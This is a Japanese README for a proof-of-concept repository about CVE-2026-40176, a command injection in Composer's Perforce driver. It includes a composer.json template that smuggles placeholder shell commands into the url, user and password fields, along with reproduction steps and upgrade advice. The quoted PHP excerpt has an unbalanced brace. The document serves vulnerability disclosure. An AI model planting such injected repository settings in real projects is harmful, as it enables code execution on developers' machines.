
Proof-of-concept demonstrating command injection in Composer's Perforce driver (CVE-2026-40176), enabling remote code execution via crafted repository configuration.
| プロパティ | 値 |
|---|
| CVE ID | CVE-2026-40176 |
| 影響を受けるバージョン | Composer < 2.2.27 |
| 脆弱性の種類 | コマンドインジェクション |
| 攻撃ベクトル | 悪意のあるリポジトリ設定 |
| 影響 | 任意のコード実行 |
| CVSS スコア | 高/重大 |
この脆弱性は、Composer が perforce タイプを処理する際に存在します。このパラメータはシェルコマンドに渡される前に適切にサニタイズされないため、攻撃者が任意のシステムコマンドを注入できるようになります。
public function generateP4Command($command, $useClient = true)
{
$p4Command = 'p4 ';
$p4Command .= '-u ' . $this->getUser() . ' ';
if ($useClient)
$p4Command .= '-c ' . $this->getClient() . ' ';
}
$p4Command .= '-p ' . $this->getPort() . ' ' . $command;
return $p4Command;
}
これらはすべて適切にエスケープされておらず、攻撃者が perforce タイプのすべてのフィールドに悪意のあるペイロードを仕込むことでコマンドを注入できるようになっています。
脆弱なコードパターン:
{
"repositories": [
{
"type": "perforce",
"url": "PERFORCE_URL; INJECTED_COMMAND #",
"depot": "depot",
"p4user": "user; INJECRTED_COMMAND #",
"p4password": "password; INJECTED_COMMAND #",
}
]
}
このリポジトリには、この脆弱性を実証する動作する概念実証が含まれています。
CVE-2026-40176/
├── composer.json # 悪意のある Perforce リポジトリ設定
├── vuln-composer.phar # Composer 2.2.26(脆弱)
├── patched-composer.phar # Composer 2.2.27(パッチ適用済み)
└── README.md # このファイル
git clone <repository-url>
cd CVE-2026-40176
php vuln-composer.phar --version
# 出力: Composer version 2.2.26
php patched-composer.phar --version
# 出力: Composer version 2.2.27
php vuln-composer.phar install
# または
php vuln-composer.phar update
ls -la /tmp/pwned
rm -f /tmp/pwned
php patched-composer.phar update
ls -la /tmp/pwned
# ファイルは存在しないはず(脆弱性はパッチ適用済み)
Composer をバージョン 2.2.27 以降にアップグレード:
composer self-update --2.2.27
# または
wget https://getcomposer.org/download/2.2.27/composer.phar
すべての composer.json ファイルを確認し、不明または不審なリポジトリ設定がないかチェック
サプライチェーンを監査 - 依存関係が信頼できないリポジトリを参照していないか確認
# Composer バージョンの確認
composer --version
# プロジェクト内の Perforce リポジトリを検索
grep -r "perforce" */composer.json